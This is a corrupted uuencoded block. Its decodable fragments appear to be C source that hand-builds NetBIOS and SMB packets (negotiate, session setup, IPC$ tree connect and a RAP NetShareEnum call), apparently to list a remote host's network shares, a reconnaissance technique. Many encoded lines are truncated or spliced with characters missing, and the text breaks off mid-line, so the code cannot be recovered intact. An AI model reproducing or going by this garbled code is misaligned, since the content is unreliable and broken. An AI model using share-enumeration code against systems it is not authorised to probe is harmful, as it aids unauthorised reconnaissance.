M;G0J+PT*('5?:6YT.%]T($UA>$)U9F9EF5;,ET[+RI#;&EE;G0G&5D('!E;F1I;F<@F5R;RUA9&1I=&EO;F%L(%9#(&YU;6)E5LT73LO*G-E'0@8VUD("HO#0H@=5]I;G0X7W0@1FQA9W-; M,ET[+RI!9&1I=&EO;F%L(&EN9F]R;6%T:6]N(&)I="`P('-E=#UD:7-C;VYN M96-T(%1I9"`J+PT*('5?:6YT.%]T(%!AF5R;RDJ+PT*('5?:6YT.%]T($]P=&EO;F%L4W5P<&]R M=%LR73LO*D]P=&EO;F%L(%-U<'!O71E$1A M=&%#;W5N=%LR73L)+RI-87@@1&%T82!B>71E%-E='5P0V]U;G0["2\J36%X('-E='5P('=O7!E9&5F('-TPT*('5?:6YT.%]T(%=O71E71E71E71E71E4AD7!E*B\)#0H@=5]I;G0X7W0@1FQA9W,[+RIF;&%G M7!E#(P*B\@#0H@#0H@ M3F5T0FEOF4[#0H@#0H@3F)T4V5S71EF5O9BAU7V-H87(I*2D[#0H-"B!R96%D*%-O8VLL4&%C:V5T+%!A8VME M=$QE;F=T:"D[#0H-"B!3;6).96=0F5O9BAU7VEN=#$V7W0I*3L-"@T*("I$;VUA:6Y.86UE3&5N9W1H(#T@("`@ M4VEZ92`M(`T*"0D)4VUB3F5G4')O=%)E<&QY+3Y%;F-R>7!T:6]N2V5Y3&5N M9W1H.PT*#0H@1&]M86EN3F%M92`]("AU7V-H87(@*BD@*&UA;&QO8R@J1&]M M86EN3F%M94QE;F=T:"`J('-I>F5O9BAU7V-H87(I*2D[#0H-"B\J0V]P>2!T M:&4@1&]M86EN(&YA;64@:6X@82!S=')I;FF5O9BA3;6)"87-E2&1R*2`K(`T*("`@("`@("`@("`@("`@("`@("!S M:7IE;V8H4VUB3F5G4')O=%)E<&QY2&1R*0T*("`@("`@("`@("`@("`@("`@ M("`K(%-M8DYE9U!R;W1297!L>2T^16YC4QE;F=T:"DL#0H@ M("`@("`@("`@("`@("`@("`@("I$;VUA:6Y.86UE3&5N9W1H*3L-"B`-"B!R M971U"!297!L>2P@#0H@*B!A;F0@=&\@:&%V92!S;VUE(&EN9F]R;6%T:6]N M#0H@*B!L:6ME('1H92!4:60@9FEE;&0J+PT*#0H-"G9O:60@4F5C96EV951C M;VY84F5P;'DH#0H@("`@("`@("`@("`@("`@("`@("`@("\J3W5R('-O8VME M="HO#0H@("`@("`@("`@("`@("`@("`@("`@(&EN="!3;V-K+`T*("`@("`@ M("`@("`@("`@("`@("`@("`O*E1H92!4240@9FEE;&0J+PT*("`@("`@("`@ M("`@("`@("`@("`@("!U7VEN=#A?="`J5&ED*0T*>PT*#0H@:6YT(%!A8VME M=$QE;F=T:#L-"@T*('5?8VAAF5O9BAU7V-H87(I*2D[#0H- M"B!R96%D*%-O8VLL4&%C:V5T+%!A8VME=$QE;F=T:"D[#0H-"B!3;6)"87-E M(#T@*%-M8D)AF5O9BAU7VEN=#A?="DI.PT*#0H@9G)E92A086-K970I.PT*#0I]#0H-"B\J M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*B\@#0H-"B\J06YA;'ES:7,@;V8@=&AE M('1R86YS86-T:6]N(&%N9"!205`@8V]M;6%N9',@PT*("!U7V-H87(@3F5T3F%M95LQ,UT[#0H@('5?8VAA4AD3L-"@T*('5?:6YT,39?="!$:7-P;&%C M96UE;G0[#0H-"B!3:&%R94EN9F\@*E-H87)E.PT*#0H@4F5P;'E087)A;65T M97)S("I297!L>3L-"@T*(&EN="!I.PT*(`T*+RI4;R!R96-E:79E('1H92!. M971B:6]S(&AE861E2P@86YD('1H M92`-"B`J(%)!4"!C;VUM86YD(')EF5O9BA3;6)"87-E2&1R*2D[#0H@;65M8W!Y*"9$:7-P;&%C96UE;G0L#0H@ M("`@("`@(%-M8E1R86YS4F5P;'DM/E!A2T^16YTF4@82!P;VEN=&5R('1O M('1H92!S979EPT*("!PF5O9BA.0E1#;&EE;G0I*2D[#0H-"B\J5&AE($Y%5$))3U,@ M:&5A9&5R*B\-"B`-"B!.8G1397-S:6]N(#T@*$YB=%-E#@Q(%-E7!E(#T@,'@X,3L-"@T*+RI&;&%G6]U(&UU2!T M:&4@8VQI96YT)W,@3D540DE/4R!E;F-O9&5D(&YA;64L(`T*("H@5&AA="=S M(&%L;"!F;VQKF5O9BA.0E1397)V97(I*3L-"B`-"B`@#0H@;65M8W!Y*`T*("`@("`@("`O M*D%F=&5R('1H92!S97)V97(G71E0V]U M;G1;,%T@/2!S:7IE;V8H4TU"7U!23U1/0T],4RD@*R`Q.PT*#0HO*B@K(#$@ M9F]R('1H92!S:7IE(&]F($)U9F9E2!T:&4@9&EA;&5C="!S M=')I;FF5O M9BA.8G1397-S:6]N2&1R*0T*("`@("`@("`@("`@("`@("`@("`@("`@("`@ M*R!S:7IE;V8H4VUB0F%S94ADF5O9BA3;6).96=0F5O9BA3;6)3971U<%A297%U97-T2&1R*2`K#0H@("`@("`@ M("`@("`@("`@1&]M86EN3F%M94QE;F=T:"`K(#$@*PT*("`@("`@("`@("`@ M("`@71E71E0V]U;G1;,%T@ M/2`@#0H@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@1&]M86EN3F%M M94QE;F=T:"`K(#$@*PT*("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@ M('-I>F5O9BA.051)5D5?3U-?3$%.34%.*3L-"B`-"@T*(&UE;6-P>2@H=5]C M:&%R("H@*2`H4&%C:V5T("L@#0H@("`@("`@("`@("`@("`@("`@("!S:7IE M;V8H3F)T4V5SF5O9BA3;6)"87-E2&1R*2`K(`T*("`@("`@("`@("`@("`@("`@("`@2@H=5]C:&%R("H@*2`H4&%C:V5T("L@#0H@("`@ M("`@("`@("`@("`@("`@("!S:7IE;V8H3F)T4V5SF5O9BA3;6)"87-E2&1R*2`K(`T*("`@ M("`@("`@("`@("`@("`@("`@F5O9BA3;6)3 M971U<%A297%U97-T2&1R*2`K#0H@("`@("`@("`@("`@("`@1&]M86EN3F%M M94QE;F=T:"`K(`T*("`@("`@("`@("`@("`@('-I>F5O9BA.051)5D5?3U-? M3$%.34%.*2`K#0H@("`@("`@("`@("`@("`@PT*(&EN="!086-K971,96YG=&@[#0H@=5]C M:&%R("I086-K970[#0H@=5]C:&%R("I0871H.PT*#0H@4VUB0F%S94ADF5O9BA3;6)48V]N6%)E<75E MF5O9BA.8G1397-S:6]N2&1R*2D[#0H-"B!3;6)"87-E M+3Y5:61;,%T],'@V-#L-"B`-"B\J0G5I;&0@=&AE(%1C;VY8(')E<75E2@H M=5]C:&%R("H@*2`H4&%C:V5T("L@#0H@("`@("`@("`@("`@("`@("`@("!S M:7IE;V8H3F)T4V5SF5O9BA3;6)"87-E2&1R*2`K(`T*("`@("`@("`@("`@("`@("`@("`@ MF5O M9BA40T].6%]#3TU-04Y$*2D[#0H-"B\J4V5N9"!T:&4@4&%C:V5T*B\-"@T* M(%!A8VME=$QE;F=T:"`]"7-I>F5O9BA3;6)"87-E2&1R*2`K#0H@("`@("`@ M("`@("`@("`@F5O M9BA40T].6%]#3TU-04Y$*2`K#0H@("`@("`@("`@("`@("`@,2`K('-I>F5O M9BA.8G1397-S:6]N2&1R*3L-"@T*('=R:71E*%-O8VLL4&%C:V5T+%!A8VME M=$QE;F=T:"D[#0H-"B!FF5O9BA.8G1397-S:6]N2&1R*2D- M"B`@("`@("`@("`@("`@("`@("`@("`@("`@("`@*B!S:7IE;V8H=5]C:&%R M*2DI.PT*#0H-"B\J($)U:6QD('1H92!.971B:6]S($AE861EF5O9BAU M7VEN=#A?="DI.PT*#0HO*D)U:6QD(%1H92!3;6(@5')A;G-A8W1I;VX@4F5Q M=65S="!(96%D97(J+PT*#0I4F5O9BA.8G1397-S:6]N2&1R*2`-"B`@("`@("`@ M("`@("`@("`@*R!S:7IE;V8H4VUB0F%S94AD%!A$1A=&%#;W5N=%LP73TP>$9&.PT* M#0HO*DYO($1A=&$L('-O(%1O=&%L1&%T84-O=6YT(&%N9"!$871A0V]U;G0@ M87)E(&5Q=6%L('1O('IE71E71E0V]U;G1;,%T],S([#0H- M"B\J0V]P>2!T:&4@;F%M92!S=')I;F<@9F]R($YE='-H87)E16YU;2!F=6YC M=&EO;BHO#0H-"B!M96UC<'DH*'5?8VAAF5O9BA3;6)4F5O9BA.04U%7U)!4%]#3TU-04Y$*2TQ*3L-"@T*(%!A8VME M=$QE;F=T:"`]"7-I>F5O9BA3;6)"87-E2&1R*2`K#0H@("`@("`@("`@("`@ M("`@F5O9BA.04U%7U)!4%]#3TU-04Y$*2`M,2`K(`T*("`@("`@("`@ M("`@("`@('-I>F5O9BA.8G1397-S:6]N2&1R*3L-"B`-"B!W'1EPT*('-T871I8R!C:&%R(&]P='-TPT* M("!PPT*("`@8V%S92`G8R#(P(')E<')E2A3;V-K+"`F1&]M86EN3F%M94QE;F=T:"D[#0H- M"B\J(%1H:7,@9G5N8W1I;VX@